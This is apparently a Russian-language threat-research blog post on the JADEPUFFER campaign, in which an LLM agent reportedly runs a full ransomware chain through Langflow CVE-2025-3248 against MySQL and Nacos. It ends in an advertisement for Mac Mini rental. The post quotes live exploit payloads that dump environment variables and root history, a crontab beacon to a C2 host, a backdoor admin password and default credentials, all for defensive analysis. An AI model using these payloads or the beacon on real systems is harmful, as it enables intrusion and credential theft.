2026 JADEPUFFER: первый end-to-end ransomware на AI Agent и матрица безопасного развёртывания Mac Mini M4
1 июля 2026 Threat Research Team (TRT) компании Sysdig опубликовала отчёт о кампании JADEPUFFER — по оценке TRT это первая известная end-to-end ransomware-операция, целиком управляемая LLM Agent: recon, кража credentials, lateral movement, persistence, destructive encryption и доставка ransom note без ручного вмешательства на критических этапах. Классификация: Agentic Threat Actor (ATA). Точка входа — публичный Langflow (CVE-2025-3248); реальная цель — отдельный публичный prod-сервер MySQL + Alibaba Nacos. Зафиксировано 600+ независимых целевых payload. Ниже — полная цепочка, IOC, рекомендации Sysdig, пятиступенчатый hardening и матрица изоляции на Mac Mini M4 для команд, которые уже крутят Langflow/OpenClaw на «быстром VPS».
1. Три болевые точки: что аудировать прямо сейчас
- Публичный Langflow = RCE в один POST: CVE-2025-3248 (CVSS 9.8) даёт unauthenticated RCE; CISA KEV с 5 мая 2025, EPSS exploitation probability 91,42% (SentinelOne). Тот же CVE кормит ботнет Flodrix — сканеры не спят, weaponization давно в production.
- Agent-хост = vault credentials: JADEPUFFER параллельно вытаскивал OpenAI, Anthropic, DeepSeek, Gemini API keys, префиксы
ALIBABA_/ALIYUN_/TENCENT_/HUAWEI_, AWS/GCP/Azure — типичный env «быстро подняли demo в prod». - Старые CVE + AI-автоматизация ≈ нулевая marginal cost: downstream — Nacos auth bypass CVE-2021-29441 и дефолтный JWT secret с 2020 года; Agent прогоняет весь backlog уязвимостей без operator fatigue. В связке с LLMjacking (украденные keys → чужой inference bill) атакующий почти не платит за compute.
2. Обзор инцидента и концепция ATA
Автор отчёта — Michael Clark (Director of Threat Research, Sysdig TRT). Медиа массово подхватили тему 6 июля, но primary report датирован 1 июля 2026.
Ключевая формулировка Sysdig: первая операция от recon до ransom note, склеенная LLM Agent end-to-end, а не классический сценарий «оператор жмёт Enter между фазами». Новый тип актора — ATA (Agentic Threat Actor): capability delivery через AI Agent, не через human-driven toolchains.
Двухуровневая топология:
- Entry: публичный Langflow (CVE-2025-3248)
- Target: отдельный публичный prod с MySQL + Alibaba Nacos
Окно атаки сжато по wall-clock, но цепочка растянута на несколько session за недели; в телеметрии — 600+ осмысленных payload.
3. Хронология
| Время | Событие |
|---|---|
| Апрель 2025 | Disclosure CVE-2025-3248 (unauth code injection / RCE в Langflow) |
| 2025-05-05 | CISA добавляет в каталог Known Exploited Vulnerabilities (KEV) |
| 2025 | Тот же CVE — доставка ботнета Flodrix (Trend Micro; не JADEPUFFER) |
| Июнь 2026 | JADEPUFFER бьёт по публичному Langflow; chain в нескольких session |
| 2026-07-01 | Sysdig публикует полный technical report |
| 2026-07-02 — 07-06 | Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs |
4. CVE-2025-3248: технический разбор
| Параметр | Значение |
|---|---|
| Компонент | Langflow — open-source visual AI Agent orchestration; 70k+ stars на GitHub |
| CWE | CWE-94 (code injection) + CWE-306 (missing authentication on critical function) |
| CVSS | 9.8 Critical, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронуты | Все версии Langflow до 1.3.0 |
| Surface | /api/v1/validate/code |
| Fix | Langflow 1.3.0 — обязательная auth |
4.1 Root cause по шагам
- Endpoint
/api/v1/validate/codeвалидирует user-defined function nodes для UI. - Pipeline:
ast.parse()→compile()→exec(). - Дефект: zero auth, zero sandbox.
- Exploit primitive: в Python decorators и default arguments вычисляются в момент определения функции — malicious code исполняется ещё до «легитимной» проверки.
- Attacker шлёт crafted HTTP POST без login → instant RCE.
4.2 Реальные payload Flodrix (Trend Micro; не JADEPUFFER)
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("systemctl status sshd", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("capsh --print", shell=True))')
Последовательность: privilege check → env dump (API keys) → root history → network recon → SSH state → capabilities → drop ELF Flodrix (LeetHozer lineage) для DDoS-ботнета.
4.3 Патч Langflow 1.3.0
В post_validate_code добавлен DI _current_user: CurrentActiveUser: FastAPI проверяет JWT Bearer или x-api-key до vulnerable logic; fail → 401/403; pass → проверка is_active.
5. Phase 1: захват Langflow-хоста
Все payload — Base64-encoded Python через RCE endpoint. Langflow привлекателен: LLM keys + cloud creds в env, часто 0.0.0.0:7860 без WAF.
5.1 Recon и credential harvest (multithreaded)
Базовый enum: id, uname -a, hostname. Параллельный scrape:
- LLM API: OpenAI, Anthropic, DeepSeek, Gemini
- Cloud:
ALIBABA_,ALIYUN_,TENCENT_,HUAWEI_, AWS/GCP/Azure - Crypto wallets и seed phrases
- DB credentials и config files
5.2 Exfil Langflow DB и lateral discovery
Dump PostgreSQL backend Langflow (users, API keys, workflow metadata) → local staging → delete staging (anti-forensics). Scan internal ranges, default creds на DB, object storage, secret stores, service discovery.
5.3 MinIO enum и adaptive error correction
Probes: minio.internal:9000, 127.0.0.1:9000, creds minioadmin:minioadmin. Bucket enum → bucket terraform-state → targeted GetObject на credentials.json.
Forensic gem: первый запрос с ?format=json вернул XML — следующий payload мгновенно переключился на XML parser. Не blind retry, а closed-loop «probe → parse mismatch → retool». Escalation: anonymous health → admin API → authenticated ListBuckets → GetObject по паттернам credentials, .env.
5.4 Persistence
Crontab beacon каждые 30 минут:
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
6. Phase 2: MySQL + Nacos extortion
Цель — публичный prod с MySQL + Alibaba Nacos (de-facto config hub в Ali-экосистеме). Известны auth bypass CVE-2021-29441 и дефолтный JWT signing key с 2020, который многие так и не ротировали.
MySQL подключение с root к exposed port — источник creds не зафиксирован Sysdig; возможный единственный human-prep этап.
6.1 Nacos: multi-vector assault и self-healing за 31 с
Параллельно: CVE-2021-29441 bypass, forge JWT с default secret, SQL-inject backdoor admin xadmin через DB privileges.
| UTC | Действие |
|---|---|
| 19:34:24 | subprocess.run → bcrypt hash → INSERT xadmin |
| 19:34:36 | Login xadmin:Xploit@2026# — fail |
| 19:34:48 | +12 с: parallel test nacos:nacos, regen admin123 hash |
| 19:35:07 | Drop subprocess.run, switch на import bcrypt, cleanup broken rows |
| 19:35:18 | Login success — 31 с от fail до fix |
Fix payload: delete → diagnose → rebuild → re-insert. Sysdig: human operator на subprocess PATH issue обычно тратит минуты, не секунды.
6.2 Container escape probes (~8 минут)
MySQL primitives: INTO OUTFILE, LOAD_FILE, read /var/run/docker.sock, /proc/1/cgroup, /etc/hostname, UDF via mysql.func. Маркер _pwn_cleanup.txt перед ransom phase — по Sysdig, signal «phase complete», не типичный static script.
6.3 Destructive encryption: 1342 Nacos configs
1 342 service config entries → MySQL AES_ENCRYPT(); удалены config_info и his_config_info; ransom table README_RANSOM.
- Key:
uuid4(), только stdout, не persisted, не exfiltrated — оплата likely бесполезна - Ransom note claims AES-256; реально AES-128-ECB (MySQL default)
- Contact:
e78393397@proton.me; BTC:3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy - +2 мин follow-up payload уточняет «все 1342 зашифрованы»
6.4 Escalation и diagnostic DROP
После row-level delete — DROP DATABASE; comment в коде: «high ROI DB, backup на 64.20.53[.]230» — Sysdig не подтвердил exfil. Silent FK fail на DROP → next payload с SET GLOBAL FOREIGN_KEY_CHECKS=0 — требует понимания failure mode, не dumb loop.
7. Четыре линии «автономности» и Bitcoin-загадка
- Self-narrating code: NL-комментарии с ROI-обоснованием («какая БД крупнее») — atypical для human one-liner
python3 -c, default для LLM codegen. - Machine-speed fault repair: 31 с Nacos fix, MinIO JSON/XML pivot, abandon JWT path на «custom secret in use» — strongest signal в error-correction latency и strategy switch.
- Free-text context parsing: actions, возможные только после reading environment-specific text, повторяются в session недели спустя.
- Bitcoin mystery:
3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy— canonical P2SH example из Bitcoin Core docs + LLM training noise; chain: 737 tx, ~46 BTC historical volume, balance 0. Sysdig: hallucination vs deliberate config — unattributable; новая uncertainty в ATA forensics.
8. IOC и официальные рекомендации Sysdig
| Тип | Индикатор |
|---|---|
| C2 / beacon | 45.131.66[.]106; crontab → hxxp://45.131.66[.]106:4444/beacon |
| Staging | 64.20.53[.]230 (InterServer, AS19318) |
| Entry CVE | CVE-2025-3248 (Langflow unauth RCE) |
| BTC | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
e78393397@proton.me (no TI hits; формат ≠ типичные MySQL ransom gangs) |
|
| Table | README_RANSOM (не WARNING / RECOVER_YOUR_DATA) |
| Persistence | crontab → C2:4444 каждые 30 мин |
8.1 Рекомендации Sysdig (конспект)
- Langflow ≥ patched; не expose code-exec/validate endpoints в интернет
- Runtime threat detection на malicious DB process behavior
- Не хранить LLM/cloud keys в env AI-оркестратора — dedicated secrets manager, network isolation
- Nacos: rotate
token.secret.key, upgrade, never public, no root to backend DB - DB admin: no public bind, strong creds, source IP allowlist
- Egress control — block arbitrary beacon и staging pulls
- Hunt IOC: crontab outbound, anomalous User-Agent
9. Реакция индустрии и экспертов
BleepingComputer, Dark Reading, CyberScoop, Security Affairs — «первая полностью AI-driven ransomware»; narrative про наступление ATA era.
CSO Online, комментарий Vibhum Dubey (independent researcher / red team): «Скорее evolution execution model, чем новая ransomware-техника. Автоматизация recon/creds/deploy — давно; отличие — Agent склеивает фазы без operator handoff.» Главный риск — не encryption, а тихий pre-encryption recon: mapping identity, trust chains, privilege graph под radar. Agent при block одного vector мгновенно pivot — signature-based detection на predictable kill chain деградирует.
LLMjacking + ATA: marginal cost complex multi-stage attack → ≈ 0 — экономический сигнал опаснее novelty encryption primitive.
10. Выводы Sysdig: четыре тезиса
- Ransomware skill floor collapsed: LLM Agent chaining recon → creds → lateral → persist → destroy; deep infra knowledge optional, strong model mandatory.
- Legacy CVE mass weaponization: Nacos 2021 + default JWT; Agent spray entire backlog — patch debt на public infra только растёт.
- Intent стал readable — defensive opportunity: NL в payload = новый detection surface для SOC/ML rules.
- «Backed up» — unverified narrative: comment про 64.20.53[.]230 не подтверждён; uuid4 key non-recoverable → payment futile.
Finale отчёта: каждая техника по отдельности — stale; threat — composition через Agent против neglected public infra. Skill bar = cost of running Agent; с LLMjacking — attacker compute ≈ free. Priority patch surface: public app servers, unhardened config centers, DB admin reachable from 0.0.0.0/0.
11. Матрица решений по развёртыванию AI Agent
| Измерение | Локально / public VPS | On-prem + VPN | Выделенный remote Mac mini M4 (SFTPMAC) |
|---|---|---|---|
| Public attack surface | Высокий (JADEPUFFER entry pattern) | Средний (misconfig leak) | Низкий (SSH/SFTP only; Agent ports не в internet) |
| Credential isolation | Плохо (env + daily tools) | Средне (policy-dependent) | Сильно (dedicated node + external secrets + chroot) |
| 24/7 uptime | Ноутбук / home Mac unstable | Self-hosted ops burden | launchd supervision + remote monitoring |
| Apple Silicon / Metal | Зависит от железа | Зависит от закупки | M4 native — local inference OpenClaw/Langflow без x86 emulation tax |
| Egress control | Сложно (home ISP permissive) | Настраиваемо, но heavy | Per-node policy; block arbitrary C2 beacon pattern |
| CI/CD integration | Слабо | Средне | SFTP/rsync artifacts + audit trail |
12. Пять шагов hardening (How-to)
- Audit Langflow/OpenClaw exposure: version ≥ 1.3.0;
curl -I https://your-host/api/v1/validate/codeиз интернета — если 200 без auth, P0: VPN или shutdown. - Externalize & rotate secrets: убрать LLM/cloud keys из env Agent-сервера; Vault / cloud Secrets Manager / CI inject; rotate при любом suspicion.
- Nacos/MySQL checklist: rotate
token.secret.key, close public ports, verify no default JWT; MySQLbind-addressinternal only, no root@'%'. - Runtime detection + IOC hunt: DB process anomalies; crontab outbound; table
README_RANSOM; connections to45.131.66.106. - Migrate на isolated Mac node: Langflow/OpenClaw → dedicated Mac mini M4 remote; workspace SFTP/rsync; физически отделить от browser profile и prod DB — снять «entry host = credential vault» risk.
13. FAQ
JSON-LD FAQPage выше — 8 core Q&A. Дополнительно:
- Langflow только во internal VLAN — достаточно? Public RCE risk падает, но lateral без segmentation + loose VPN = second hop. Credentials externalization и egress — mandatory.
- OpenClaw vs Langflow? Разные CVE surfaces, одинаковый anti-pattern: API keys в env + rush to public internet. JADEPUFFER lessons apply ко всем Agent gateways.
14. Источники
- Sysdig: «JADEPUFFER: Agentic ransomware for automated database extortion» (2026-07-01)
- BleepingComputer: «JadePuffer ransomware used AI agent to automate entire attack»
- Dark Reading: «JadePuffer: The First Complete LLM-Driven Ransomware Attack»
- CyberScoop: «Sysdig clocks first documented case of agentic ransomware»
- CSO Online: «This AI agent autonomously hacked a network...» (Vibhum Dubey)
- Security Affairs: «JADEPUFFER: First End-to-End AI-Driven Ransomware Operation»
- Trend Micro: «Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet»
- NVD / SentinelOne / Zscaler — CVE-2025-3248 analysis; CISA KEV
На основе primary report Sysdig и публичных медиа. Оценки AI-autonomy и intent — с указанием источника; не legal/threat attribution. Обновлено: 2026-07-07.
15. Аренда Mac Mini M4 и мост SFTPMAC
JADEPUFFER crystallizes базовый конфликт: Agent workflow требует 24/7 и model API, но не должен делить runtime с prod credentials и public RCE endpoints. Langflow/OpenClaw на ноутбуке или «дешёвом VPS без hardening» — при CVE-2025-3248-class entry ваши keys, cloud creds и lateral paths сливаются за минуты автоматически. Trust boundary problem как у Claude Desktop locally, только stakes — не privacy dispute, а DROP DATABASE.
Архитектурно зрелее: выделенный always-on Apple Silicon узел (M4 — нативный ARM64, без Rosetta penalty на Python/Metal-backed inference stacks), физически отделённый от daily browser и prod DB. Secrets через manager inject, не env dump. Egress policy per node. Workspace — SFTP/rsync со snapshot rollback. Согласуется с «remote Mac 24/7 Agent node» в материалах «стеганография Claude Code» и «Mac Mini M4: аренда vs покупка».
Если вы deploy Langflow, OpenClaw или custom Agent gateway — следующий шаг: decouple Agent от sensitive assets на isolatable, auditable Mac mini M4 без direct expose code-exec API. SFTPMAC remote Mac rental — always-on среда под AI Agent: M4 native throughput, SSH/SFTP directory isolation, launchd supervision, CI/CD artifact sync. Для команд под ATA-threat это pragmatic security spend: аренда выделенного Mac для изоляции и continuous uptime надёжнее, чем ставка только на скорость патчей — особенно когда attacker marginal cost стремится к нулю.